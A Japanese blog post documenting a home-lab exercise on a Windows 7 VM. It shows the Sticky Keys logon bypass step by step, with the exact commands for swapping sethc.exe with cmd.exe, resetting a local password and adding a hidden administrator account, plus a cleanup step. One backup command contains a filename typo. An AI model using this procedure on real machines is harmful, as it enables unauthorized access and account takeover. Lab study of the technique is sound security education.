0
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

More than 1 year has passed since last update.

Kali Linux2022.1 でハッキングラボをつくってみる11 Sticky Keys機能を悪用したログオン突破

Posted at

はじめに

「ハッキング・ラボのつくりかた」p.660-672を参考にした。

注意事項
記事で紹介されている行為を他人や団体、インフラなどの許可を得ずに行った場合、犯罪となる可能性が有ります。
あくまでも、記事の内容は情報セキュリティの学習です。読者様の所有・管理の機器、システムでのみ実行してください。
また、読者さまのシステムにトラブルが起きたとしても、私は責任を負いかねます。

どのようなハッキング手法か

Sticky keys機能は、補助キー(shift,ctrl,alt,Winキー)と他のキーの同時入力が難しい場合のユーザー補助機能。
Windowsキーを5回押下すれば、Sicky keysを有効にするかどうかの確認ダイアログが表示される。
これを悪用することで、ローカルアカウントのパスワードをリセットしたり、新しい管理者ユーザーを作ることが可能。

やってみる

targetPC : VirtualBoxにインストールしたWindows7 32bit版
使用するもの : Windows10 32bit版インストール用ISO
※CPUのビット数を揃える

VirtualBoxのブートシーケンスが、ISO(CD/DVD,USBメモリ)が最初に来るようにする。isoからブートする。
VirtualBox_IE10 - Win7_01_06_2022_16_02_00_sticky1.png
以下、「次へ」>「コンピュータを修復する」>「トラブルシューティング」>「コマンドプロンプト」を辿る。

VirtualBox_IE10 - Win7_01_06_2022_16_07_04_sticky2.png
コマンドプロンプト
VirtualBox_IE10 - Win7_01_06_2022_16_15_13_sticky3.png
ドライブが見かけ上かわっていることがある。当方の環境では、C:\。

X:\Sources
c:
C:\
dir
//dirで、カレントディレクトリを確認する。
cd Windows\system32
copy setc.exe sethc_old.exe
copy cmd.exe sethc.exe
//sethc.exeを上書きする。

sethc.exeは、Sticky Keys機能を提供するプログラム

  • PCを再起動する。

ブートメディア(ISO,CD/DVD,USBメモリ)を取り出してから、PCを再起動する。

shutdown /r /t 0

再起動時のログオン画面で、Shiftキーを五回連打すると、コマンドプロンプトが起動する。
VirtualBox_IE10 - Win7_01_06_2022_16_46_56_sticky4.png

プロンプト上で、次のコマンドを実行する。

whoami
//ユーザー権限の確認
net user target aaa111 
//パスワード変更
net user bypass bypass /add
//ユーザー追加
net localgroup administrators bypass /add
//管理者権限を付与する。

VirtualBox_IE10 - Win7_01_06_2022_17_30_01_sticy5.png

targetユーザーのパスワード変更と、administrator権限を持つbypassユーザーの作成を確認出来た。

後始末

ブートメディアからコマンドプロンプトをたちあげて、コマンドを実行する。

copy sethc_old.exe sethc.exe

おわりに

「ハッキング・ラボのつくりかた」

0
1
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?